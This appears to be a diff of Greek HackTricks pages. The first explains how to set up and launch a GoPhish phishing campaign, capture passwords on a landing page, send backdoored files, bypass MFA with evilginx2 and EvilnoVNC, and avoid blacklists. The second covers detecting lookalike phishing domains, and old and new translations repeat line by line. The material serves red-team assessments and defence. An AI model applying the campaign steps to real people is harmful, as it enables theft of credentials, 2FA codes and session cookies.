Μπορείτε να ζητήσετε την αφαίρεση του domain/IP σας στο [https://sender.office.com/](https://sender.office.com).
Μπορείτε να ζητήσετε την αφαίρεση του domain/IP σας στο [https://sender.office.com/](https://sender.office.com).
## Δημιουργία & Εκκίνηση Εκστρατείας GoPhish
## Δημιουργία & Εκκίνηση Καμπάνιας GoPhish
### Προφίλ Αποστολής
* Ορίστε ένα **όνομα για αναγνώριση** του προφίλ αποστολής
* Αποφασίστε από ποιο λογαριασμό θα στείλετε τα phishing emails. Προτάσεις: _noreply, support, servicedesk, salesforce..._
* Μπορείτε να αφήσετε κενά το όνομα χρήστη και τον κωδικό, αλλά βεβαιωθείτε ότι έχετε επιλέξει το Αγνόηση Σφαλμάτων Πιστοποιητικού
* Ορίστε κάποιο **όνομα για να αναγνωρίσετε** το προφίλ αποστολέα
* Αποφασίστε από ποιον λογαριασμό θα στείλετε τα phishing emails. Προτάσεις: _noreply, support, servicedesk, salesforce..._
* Μπορείτε να αφήσετε κενό το όνομα χρήστη και τον κωδικό πρόσβασης, αλλά βεβαιωθείτε ότι έχετε ελέγξει την επιλογή Αγνόηση Σφαλμάτων Πιστοποιητικού
![](<../../.gitbook/assets/image (253) (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (17).png>)
![](<../../.gitbook/assets/image (253) (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (15) (2).png>)
{% hint style="info" %}
Συνιστάται να χρησιμοποιήσετε τη λειτουργία "**Αποστολή Δοκιμαστικού Email**" για να δοκιμάσετε ότι όλα λειτουργούν.\
Θα σας πρότεινα να **στείλετε τα δοκιμαστικά emails σε διευθύνσεις email 10 λεπτών** προκειμένου να αποφύγετε τη μαύρη λίστα κατά τις δοκιμές.
Συνιστάται να χρησιμοποιήσετε τη λειτουργία "**Αποστολή Δοκιμαστικού Email**" για να ελέγξετε ότι όλα λειτουργούν.\
Θα πρότεινα να **στείλετε τα δοκιμαστικά emails σε διευθύνσεις 10min** προκειμένου να αποφύγετε την προσθήκη στη μαύρη λίστα κατά τη διάρκεια των δοκιμών.
{% endhint %}
### Πρότυπο Email
* Ορίστε ένα **όνομα για αναγνώριση** του προτύπου
* Στη συνέχεια γράψτε ένα **θέμα** (κάτι συνηθισμένο, απλά κάτι που θα περιμένατε να διαβάσετε σε ένα κανονικό email)
* Βεβαιωθείτε ότι έχετε επιλέξει το "**Προσθήκη Εικόνας Παρακολούθησης**"
* Ορίστε κάποιο **όνομα για να αναγνωρίσετε** το πρότυπο
* Στη συνέχεια, γράψτε ένα **θέμα** (τίποτα παράξενο, απλώς κάτι που θα περιμένατε να διαβάσετε σε ένα κανονικό email)
* Βεβαιωθείτε ότι έχετε ελέγξει την επιλογή "**Προσθήκη Εικόνας Παρακολούθησης**"
* Γράψτε το **πρότυπο email** (μπορείτε να χρησιμοποιήσετε μεταβλητές όπως στο παρακάτω παράδειγμα):
```markup
<html>
@ -348,69 +349,69 @@ WRITE HERE SOME SIGNATURE OF SOMEONE FROM THE COMPANY
</body>
</html>
```
Σημείωση ότι **για να αυξήσετε την αξιοπιστία του email**, συνιστάται να χρησιμοποιήσετε κάποια υπογραφή από ένα email του πελάτη. Προτάσεις:
Note that **για να αυξήσετε την αξιοπιστία του email**, συνιστάται να χρησιμοποιήσετε κάποια υπογραφή από ένα email του πελάτη. Προτάσεις:
* Στείλτε ένα email σε μια **μη υπάρχουσα διεύθυνση** και ελέγξτε αν η απάντηση έχει κάποια υπογραφή.
* Αναζητήστε **δημόσια emails** όπως info@ex.com ή press@ex.com ή public@ex.com και στείλτε τους ένα email και περιμένετε για απάντηση.
* Δοκιμάστε να επικοινωνήσετε με **κάποιο έγκυρο ανακαλυφθέν** email και περιμένετε για απάντηση
* Αναζητήστε **δημόσια emails** όπως info@ex.com ή press@ex.com ή public@ex.com και στείλτε τους ένα email και περιμένετε την απάντηση.
* Προσπαθήστε να επικοινωνήσετε με **κάποιο έγκυρο ανακαλυφθέν** email και περιμένετε την απάντηση.
![](<../../.gitbook/assets/image (393).png>)
![](<../../.gitbook/assets/image (80).png>)
{% hint style="info" %}
Το Πρότυπο Email επιτρέπει επίσης την **επισύναψη αρχείων για αποστολή**. Αν θέλετε επίσης να κλέψετε προκλήσεις NTLM χρησιμοποιώντας κάποια ειδικά δημιουργημένα αρχεία/έγγραφα [διαβάστε αυτή τη σελίδα](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md).
Το Email Template επιτρέπει επίσης να **επισυνάπτετε αρχεία για αποστολή**. Αν θέλετε επίσης να κλέψετε NTLM challenges χρησιμοποιώντας κάποια ειδικά κατασκευασμένα αρχεία/έγγραφα [διαβάστε αυτή τη σελίδα](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md).
{% endhint %}
### Σελίδα Προσγείωσης
### Landing Page
* Γράψτε ένα **όνομα**
* **Γράψτε τον κώδικα HTML** της ιστοσελίδας. Σημειώστε ότι μπορείτε να **εισάγετε** ιστοσελίδες.
* Σημειώστε **Καταγραφή Υποβληθέντων Δεδομένων** και **Καταγραφή Κωδικών**
* **Γράψτε τον HTML κώδικα** της ιστοσελίδας. Σημειώστε ότι μπορείτε να **εισάγετε** ιστοσελίδες.
* Σημειώστε **Capture Submitted Data** και **Capture Passwords**
* Ορίστε μια **ανακατεύθυνση**
![](<../../.gitbook/assets/image (394).png>)
![](<../../.gitbook/assets/image (826).png>)
{% hint style="info" %}
Συνήθως θα χρειαστεί να τροποποιήσετε τον κώδικα HTML της σελίδας και να κάνετε κάποιες δοκιμές τοπικά (ίσως χρησιμοποιώντας κάποιον διακομιστή Apache) **μέχρι να σας αρέσουν τα αποτελέσματα**. Στη συνέχεια, γράψτε αυτόν τον κώδικα HTML στο πλαίσιο.\
Σημειώστε ότι αν χρειάζεστε να **χρησιμοποιήσετε κάποιους στατικούς πόρους** για το HTML (ίσως κάποιες σελίδες CSS και JS) μπορείτε να τα αποθηκεύσετε στο _**/opt/gophish/static/endpoint**_ και στη συνέχεια να τα προσπελάσετε από το _**/static/\<όνομα αρχείου>**_
Συνήθως θα χρειαστεί να τροποποιήσετε τον HTML κώδικα της σελίδας και να κάνετε κάποιες δοκιμές τοπικά (ίσως χρησιμοποιώντας κάποιον Apache server) **μέχρι να σας αρέσουν τα αποτελέσματα.** Στη συνέχεια, γράψτε αυτόν τον HTML κώδικα στο κουτί.\
Σημειώστε ότι αν χρειαστεί να **χρησιμοποιήσετε κάποιους στατικούς πόρους** για τον HTML (ίσως κάποιες σελίδες CSS και JS) μπορείτε να τους αποθηκεύσετε στο _**/opt/gophish/static/endpoint**_ και στη συνέχεια να τους αποκτήσετε από _**/static/\<filename>**_
{% endhint %}
{% hint style="info" %}
Για την ανακατεύθυνση μπορείτε να **ανακατευθύνετε τους χρήστες στην πραγματική κύρια ιστοσελίδα** του θύματος, ή να τους ανακατευθύνετε σε _/static/migration.html_ για παράδειγμα, να βάλετε κάποιο **περιστρεφόμενο τροχό** ([**https://loading.io/**](https://loading.io)) για 5 δευτερόλεπτα και στη συνέχεια να υποδείξετε ότι η διαδικασία ήταν επιτυχής**.
Για την ανακατεύθυνση μπορείτε να **ανακατευθύνετε τους χρήστες στην κανονική κύρια ιστοσελίδα** του θύματος, ή να τους ανακατευθύνετε στο _/static/migration.html_ για παράδειγμα, να βάλετε κάποιο **spinning wheel (**[**https://loading.io/**](https://loading.io)**) για 5 δευτερόλεπτα και στη συνέχεια να υποδείξετε ότι η διαδικασία ήταν επιτυχής**.
{% endhint %}
### Χρήστες & Ομάδες
### Users & Groups
* Ορίστε ένα όνομα
* **Εισαγάγετε τα δεδομένα** (σημειώστε ότι για να χρησιμοποιήσετε το πρότυπο για το παράδειγμα χρειάζεστε το όνομα, το επώνυμο και τη διεύθυνση email κάθε χρήστη)
* **Εισάγετε τα δεδομένα** (σημειώστε ότι για να χρησιμοποιήσετε το template για το παράδειγμα χρειάζεστε το όνομα, το επώνυμο και τη διεύθυνση email κάθε χρήστη)
![](<../../.gitbook/assets/image (395).png>)
![](<../../.gitbook/assets/image (163).png>)
### Εκστρατεία
### Campaign
Τέλος, δημιουργήστε μια εκστρατεία επιλέγοντας ένα όνομα, το πρότυπο email, τη σελίδα προσγείωσης, το URL, το προφίλ αποστολής και την ομάδα. Σημειώστε ότι το URL θα είναι το σύνδεσμος που στέλνετε στα θύματα
Τέλος, δημιουργήστε μια καμπάνια επιλέγοντας ένα όνομα, το email template, τη landing page, το URL, το sending profile και την ομάδα. Σημειώστε ότι το URL θα είναι ο σύνδεσμος που θα σταλεί στα θύματα.
Σημείωστε ότι το **Προφίλ Αποστολής επιτρέπει να στείλετε ένα δοκιμαστικό email για να δείτε πώς θα φαίνεται το τελικό email phishing**:
Σημειώστε ότι το **Sending Profile επιτρέπει να στείλετε ένα δοκιμαστικό email για να δείτε πώς θα φαίνεται το τελικό phishing email**:
![](<../../.gitbook/assets/image (396).png>)
![](<../../.gitbook/assets/image (192).png>)
{% hint style="info" %}
Θα συνιστούσα να **στείλετε τα δοκιμαστικά emails σε διευθύνσεις email 10 λεπτών** για να αποφύγετε τη μαύρη λίστα κατά τη διάρκεια των δοκιμών.
Θα συνιστούσα να **στείλετε τα δοκιμαστικά emails σε διευθύνσεις 10min mails** προκειμένου να αποφύγετε να μπείτε σε μαύρη λίστα κάνοντας δοκιμές.
{% endhint %}
Μόλις είναι έτοιμα όλα, απλά εκκινήστε την εκστρατεία!
Μόλις είναι όλα έτοιμα, απλά ξεκινήστε την καμπάνια!
## Κλωνοποίηση Ιστότοπου
## Website Cloning
Αν για οποιονδήποτε λόγο θέλετε να κλωνοποιήσετε τον ιστότοπο, ελέγξτε την ακόλουθη σελίδα:
Αν για οποιονδήποτε λόγο θέλετε να κλωνοποιήσετε την ιστοσελίδα ελέγξτε την παρακάτω σελίδα:
{% content-ref url="clone-a-website.md" %}
[clone-a-website.md](clone-a-website.md)
{% endcontent-ref %}
## Επισφαλή Έγγραφα & Αρχεία
## Backdoored Documents & Files
Σε μερικές αξιολογήσεις phishing (κυρίως για Κόκκινες Ομάδες) θα θέλετε επίσης **να στείλετε αρχεία που περιέχουν κάποιο είδος παρασκηνίου** (ίσως ένα C2 ή ίσως απλά κάτι που θα ενεργοποιήσει μια πιστοποίηση).\
Ελέγξτε την ακόλουθη σελίδα για μερικά παραδείγματα:
Σε ορισμένες αξιολογήσεις phishing (κυρίως για Red Teams) θα θέλετε επίσης να **στείλετε αρχεία που περιέχουν κάποιο είδος backdoor** (ίσως ένα C2 ή ίσως απλώς κάτι που θα ενεργοποιήσει μια αυθεντικοποίηση).\
Δείτε την παρακάτω σελίδα για μερικά παραδείγματα:
{% content-ref url="phishing-documents.md" %}
[phishing-documents.md](phishing-documents.md)
@ -418,22 +419,57 @@ WRITE HERE SOME SIGNATURE OF SOMEONE FROM THE COMPANY
## Phishing MFA
### Μέσω Proxy MitM
### Via Proxy MitM
Η προηγούμενη επίθεση είναι αρκετά έξυπνη καθώς προσποιείστε μια πραγματική ιστοσελίδα και συλλέγετε τις πληροφορίες που έχει ορίσει ο χρήστης. Δυστυχώς, αν ο χρήστης δεν έχει βάλει τον σωστό κωδικό ή αν η εφαρμογή που προσποιείστε είναι ρυθμισμένη με 2FA, **αυτές οι πληροφορίες δεν θα σας επιτρέψουν να προσωποποιήσετε τον απατημένο χρήστη**.
Η προηγούμενη επίθεση είναι αρκετά έξυπνη καθώς προσποιείστε μια πραγματική ιστοσελίδα και συγκεντρώνετε τις πληροφορίες που εισάγει ο χρήστης. Δυστυχώς, αν ο χρήστης δεν εισάγει τον σωστό κωδικό ή αν η εφαρμογή που προσποιείστε είναι ρυθμισμένη με 2FA, **αυτές οι πληροφορίες δεν θα σας επιτρέψουν να προσποιηθείτε τον παραπλανημένο χρήστη**.
Εδώ είναι όπου εργαλεία όπως το [**evilginx2**](https://github.com/kgretzky/evilginx2)**,** [**CredSniper**](https://github.com/ustayready/CredSniper) και [**muraena**](https://github.com/muraenateam/muraena) είναι χρήσιμα. Αυτό το εργαλείο θα σας επιτρέψει να δημιουργήσετε μια επίθεση τύπου MitM. Βασικά, οι επιθέσεις λειτουργούν με τον ακόλουθο τρόπο:
Εδώ είναι που εργαλεία όπως [**evilginx2**](https://github.com/kgretzky/evilginx2)**,** [**CredSniper**](https://github.com/ustayready/CredSniper) και [**muraena**](https://github.com/muraenateam/muraena) είναι χρήσιμα. Αυτό το εργαλείο θα σας επιτρέψει να δημιουργήσετε μια επίθεση τύπου MitM. Βασικά, οι επιθέσεις λειτουργούν ως εξής:
1. Εσείς **προσποιείστε τη φόρμα σύνδεσης** της πραγματικής ιστοσελίδας.
2. Ο χρήστης **στέλνει** τα **διαπιστευτήριά του** στην ψεύτικη σας σελίδα και το εργαλείο τα στέλνει στην πραγματική ιστοσελίδα, **ελέγχοντας αν τα διαπιστευτήρια λειτουργούν**.
3. Αν ο λογαριασμός είναι ρυθμισμένος με **2FA**, η σελίδα MitM θα ζητήσει αυτό και μόλις ο χρήστης το **εισάγει**, το εργαλείο θα το στείλει στην πραγματική ιστοσελίδα.
4. Μόλις ο χρήστης ελεγχθεί, εσείς (ως επιτιθέμενος) θα έχετε **καταγράψει τα διαπιστευτήρια, το 2FA, το cookie και οποιαδήποτε πληροφορία** από κάθε αλληλεπίδραση σας ενώ το εργαλείο εκτελεί μια επίθεση MitM.
2. Ο χρήστης **στέλνει** τα **διαπιστευτήριά** του στη ψεύτικη σελίδα σας και το εργαλείο στέλνει αυτά στη πραγματική ιστοσελίδα, **ελέγχοντας αν τα διαπιστευτήρια λειτουργούν**.
3. Αν ο λογαριασμός είναι ρυθμισμένος με **2FA**, η σελίδα MitM θα ζητήσει αυτό και μόλις ο **χρήστης το εισάγει** το εργαλείο θα το στείλει στη πραγματική ιστοσελίδα.
4. Μόλις ο χρήστης αυθεντικοποιηθεί εσείς (ως επιτιθέμενος) θα έχετε **καταγράψει τα διαπιστευτήρια, το 2FA, το cookie και οποιαδήποτε πληροφορία** από κάθε αλληλεπίδραση σας ενώ το εργαλείο εκτελεί μια MitM.
### Μέσω VNC
### Via VNC
Τι θα γινόταν αν αντί να **στείλετε το θύμα σε μια κακόβουλη σελίδα** με την ίδια εμφάνιση με την πραγματική, τον στείλετε σε μια **συνεδρία VNC με έναν περιηγητή συνδεδεμένο στην πραγματική ιστοσελίδα**; Θα μπορείτε να δείτε τι κάνει, να κλέψετε τον κωδικό, το MFA που χρησιμοποιείται, τα cookies...\
Μπορείτε να το κάνετε αυτό με το [**EvilnVNC**](https://github.com/JoelGMSec/EvilnoVNC)
Τι θα γινόταν αν αντί να **στείλετε το θύμα σε μια κακόβουλη σελίδα** με την ίδια εμφάνιση όπως η αρχική, το στείλετε σε μια **συνεδρία VNC με έναν περιηγητή συνδεδεμένο στην πραγματική ιστοσελίδα**; Θα μπορείτε να δείτε τι κάνει, να κλέψετε τον κωδικό, το MFA που χρησιμοποιείται, τα cookies...\
Μπορείτε να το κάνετε αυτό με [**EvilnVNC**](https://github.com/JoelGMSec/EvilnoVNC)
## Ανίχνευση της ανίχνευσης
## Detecting the detection
Φυσικά, ένας από τους καλύτερους τρόπους για να μάθετε αν έχετε αποκαλυφθεί εί
Προφανώς ένας από τους καλύτερους τρόπους για να ξέρετε αν έχετε ανακαλυφθεί είναι να **αναζητήσετε το domain σας μέσα σε μαύρες λίστες**. Αν εμφανίζεται καταχωρημένο, με κάποιο τρόπο το domain σας ανιχνεύθηκε ως ύποπτο.\
Ένας εύκολος τρόπος για να ελέγξετε αν το domain σας εμφανίζεται σε οποιαδήποτε μαύρη λίστα είναι να χρησιμοποιήσετε [https://malwareworld.com/](https://malwareworld.com)
Ωστόσο, υπάρχουν και άλλοι τρόποι για να ξέρετε αν το θύμα **αναζητά ενεργά ύποπτη phishing δραστηριότητα στον κόσμο** όπως εξηγείται σε:
{% content-ref url="detecting-phising.md" %}
[detecting-phising.md](detecting-phising.md)
{% endcontent-ref %}
Μπορείτε να **αγοράσετε ένα domain με πολύ παρόμοιο όνομα** με το domain του θύματος **και/ή να δημιουργήσετε ένα πιστοποιητικό** για ένα **subdomain** ενός domain που ελέγχετε **περιέχοντας** τη **λέξη-κλειδί** του domain του θύματος. Αν το **θύμα** εκτελέσει οποιαδήποτε μορφή **DNS ή HTTP αλληλεπίδρασης** με αυτά, θα ξέρετε ότι **αναζητά ενεργά** ύποπτα domains και θα χρειαστεί να είστε πολύ διακριτικοί.
### Evaluate the phishing
Χρησιμοποιήστε [**Phishious** ](https://github.com/Rices/Phishious) για να αξιολογήσετε αν το email σας θα καταλήξει στο φάκελο spam ή αν θα μπλοκαριστεί ή θα είναι επιτυχές.
## References
* [https://zeltser.com/domain-name-variations-in-phishing/](https://zeltser.com/domain-name-variations-in-phishing/)
* [https://0xpatrik.com/phishing-domains/](https://0xpatrik.com/phishing-domains/)
* [https://darkbyte.net/robando-sesiones-y-bypasseando-2fa-con-evilnovnc/](https://darkbyte.net/robando-sesiones-y-bypasseando-2fa-con-evilnovnc/)
* [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,63 +1,95 @@
# Ανίχνευση Φισινγκ
# Ανίχνευση Phishing
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Εισαγωγή
Για να ανιχνεύσετε μια προσπάθεια φισινγκ, είναι σημαντικό να **κατανοήσετε τις τεχνικές φισινγκ που χρησιμοποιούνται σήμερα**. Στη γονική σελίδα αυτής της ανάρτησης, μπορείτε να βρείτε αυτές τις πληροφορίες, οπότε αν δεν γνωρίζετε ποιες τεχνικές χρησιμοποιούνται σήμερα, σας συνιστώ να πάτε στη γονική σελίδα και να διαβάσετε τουλάχιστον αυτήν την ενότητα.
Για να ανιχνεύσετε μια απόπειρα phishing είναι σημαντικό να **κατανοήσετε τις τεχνικές phishing που χρησιμοποιούνται σήμερα**. Στη γονική σελίδα αυτής της ανάρτησης, μπορείτε να βρείτε αυτές τις πληροφορίες, οπότε αν δεν γνωρίζετε ποιες τεχνικές χρησιμοποιούνται σήμερα, σας προτείνω να πάτε στη γονική σελίδα και να διαβάσετε τουλάχιστον αυτή την ενότητα.
Αυτή η ανάρτηση βασίζεται στην ιδέα ότι οι **επιτιθέμενοι θα προσπαθήσουν να μιμηθούν ή να χρησιμοποιήσουν το όνομα του τομέα του θύματος**. Εάν ο τομέας σας ονομάζεται `example.com` και γίνετε θύμα φισινγκ χρησιμοποιώντας έναν εντελώς διαφορετικό τομέα για κάποιο λόγο, όπως το `youwonthelottery.com`, αυτές οι τεχνικές δεν θα το αποκαλύψουν.
Αυτή η ανάρτηση βασίζεται στην ιδέα ότι οι **επιτιθέμενοι θα προσπαθήσουν να μιμηθούν ή να χρησιμοποιήσουν το όνομα τομέα του θύματος**. Αν το domain σας ονομάζεται `example.com` και σας phishing χρησιμοποιώντας ένα εντελώς διαφορετικό όνομα τομέα για κάποιο λόγο όπως `youwonthelottery.com`, αυτές οι τεχνικές δεν θα το αποκαλύψουν.
## Παραλλαγές ονομάτων τομέα
## Παραλλαγές ονόματος τομέα
Είναι αρκετά **εύκολο** να **αποκαλύψετε** αυτές τις **προσπάθειες φισινγκ που θα χρησιμοποιήσουν ένα όνομα τομέα παρόμοιο** μέσα στο email.\
Είναι αρκετό να **δημιουργήσετε μια λίστα με τα πιο πιθανά ονόματα φισινγκ** που μπορεί να χρησιμοποιήσει ένας επιτιθέμενος και να **ελέγξετε** αν είναι **καταχωρημένο** ή απλά να ελέγξετε αν υπάρχει κάποια **IP** που το χρησιμοποιεί.
Είναι κάπως **εύκολο** να **αποκαλύψετε** αυτές τις **απόπειρες phishing** που θα χρησιμοποιήσουν ένα **παρόμοιο όνομα τομέα** μέσα στο email.\
Αρκεί να **δημιουργήσετε μια λίστα με τα πιο πιθανά ονόματα phishing** που μπορεί να χρησιμοποιήσει ένας επιτιθέμενος και να **ελέγξετε** αν είναι **καταχωρημένα** ή απλώς να ελέγξετε αν υπάρχει κάποια **IP** που τα χρησιμοποιεί.
### Εύρεση ύποπτων τομέων
Για αυτόν τον σκοπό, μπορείτε να χρησιμοποιήσετε οποιοδήποτε από τα παρακάτω εργαλεία. Σημειώστε ότι αυτά τα εργαλεία θα πραγματοποιήσουν αυτόματα αιτήσεις DNS για να ελέγξουν αν ο τομέας έχει καταχωρηθεί σε κάποια IP:
Για αυτόν τον σκοπό, μπορείτε να χρησιμοποιήσετε οποιοδήποτε από τα παρακάτω εργαλεία. Σημειώστε ότι αυτά τα εργαλεία θα εκτελούν επίσης αυτόματες DNS αιτήσεις για να ελέγξουν αν ο τομέας έχει κάποια IP που του έχει ανατεθεί:
* [**dnstwist**](https://github.com/elceef/dnstwist)
* [**urlcrazy**](https://github.com/urbanadventurer/urlcrazy)
### Bitflipping
**Μπορείτε να βρείτε μια σύντομη εξήγηση αυτής της τεχνικής στη γονική σελίδα. Ή διαβάστε την αρχική έρευνα στο [https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/](https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/)**
**Μπορείτε να βρείτε μια σύντομη εξήγηση αυτής της τεχνικής στη γονική σελίδα. Ή διαβάστε την πρωτότυπη έρευνα στο** [**https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/**](https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/)
Για παράδειγμα, μια τροποποίηση 1 bit στον τομέα microsoft.com μπορεί να τον μετατρέψει σε _windnws.com._\
**Οι επιτιθέμενοι μπορεί να καταχωρίσουν όσους τομείς με τροποποίηση bit-flipping είναι δυνατόν σχετίζονται με το θύμα για να ανακατευθύνουν νόμιμους χρήστες στην υποδομή τους**.
Για παράδειγμα, μια τροποποίηση 1 bit στο domain microsoft.com μπορεί να το μετατρέψει σε _windnws.com._\
**Οι επιτιθέμενοι μπορεί να καταχωρήσουν όσο το δυνατόν περισσότερους τομείς bit-flipping σχετικούς με το θύμα για να ανακατευθύνουν νόμιμους χρήστες στην υποδομή τους**.
**Όλα τα πιθανά ονόματα τομέων με τροποποίηση bit-flipping πρέπει επίσης να παρακολουθούνται.**
**Όλα τα πιθανά ονόματα τομέα bit-flipping θα πρέπει επίσης να παρακολουθούνται.**
### Βασικοί έλεγχοι
Αφού
Αφού έχετε μια λίστα με πιθανά ύποπτα ονόματα τομέα, θα πρέπει να **τα ελέγξετε** (κυρίως τις θύρες HTTP και HTTPS) για να **δείτε αν χρησιμοποιούν κάποια φόρμα σύνδεσης παρόμοια** με κάποια από το domain του θύματος.\
Μπορείτε επίσης να ελέγξετε την θύρα 3333 για να δείτε αν είναι ανοιχτή και τρέχει μια instance του `gophish`.\
Είναι επίσης ενδιαφέρον να γνωρίζετε **πόσο παλιό είναι κάθε ανακαλυφθέν ύποπτο domain**, όσο πιο νέο είναι, τόσο πιο επικίνδυνο είναι.\
Μπορείτε επίσης να πάρετε **σcreenshot** της ύποπτης ιστοσελίδας HTTP και/ή HTTPS για να δείτε αν είναι ύποπτη και σε αυτή την περίπτωση **να την επισκεφθείτε για να ρίξετε μια πιο προσεκτική ματιά**.
### Προχωρημένοι έλεγχοι
Αν θέλετε να προχωρήσετε ένα βήμα παραπέρα, θα σας πρότεινα να **παρακολουθείτε αυτούς τους ύποπτους τομείς και να αναζητάτε περισσότερους** από καιρό σε καιρό (κάθε μέρα; χρειάζεται μόνο μερικά δευτερόλεπτα/λεπτά). Θα πρέπει επίσης να **ελέγξετε** τις ανοιχτές **θύρες** των σχετικών IP και να **αναζητήσετε instances του `gophish` ή παρόμοιων εργαλείων** (ναι, οι επιτιθέμενοι κάνουν επίσης λάθη) και **να παρακολουθείτε τις ιστοσελίδες HTTP και HTTPS των ύποπτων τομέων και υποτομέων** για να δείτε αν έχουν αντιγράψει κάποια φόρμα σύνδεσης από τις ιστοσελίδες του θύματος.\
Για να **αυτοματοποιήσετε αυτό**, θα σας πρότεινα να έχετε μια λίστα με τις φόρμες σύνδεσης των τομέων του θύματος, να σπινάρετε τις ύποπτες ιστοσελίδες και να συγκρίνετε κάθε φόρμα σύνδεσης που βρέθηκε μέσα στους ύποπτους τομείς με κάθε φόρμα σύνδεσης του τομέα του θύματος χρησιμοποιώντας κάτι όπως το `ssdeep`.\
Αν έχετε εντοπίσει τις φόρμες σύνδεσης των ύποπτων τομέων, μπορείτε να προσπαθήσετε να **στείλετε ψεύτικα διαπιστευτήρια** και **να ελέγξετε αν σας ανακατευθύνει στο domain του θύματος**.
## Ονόματα τομέα που χρησιμοποιούν λέξεις-κλειδιά
Η γονική σελίδα αναφέρει επίσης μια τεχνική παραλλαγής ονόματος τομέα που συνίσταται στο να βάζετε το **όνομα τομέα του θύματος μέσα σε έναν μεγαλύτερο τομέα** (π.χ. paypal-financial.com για paypal.com).
### Διαφάνεια Πιστοποιητικών
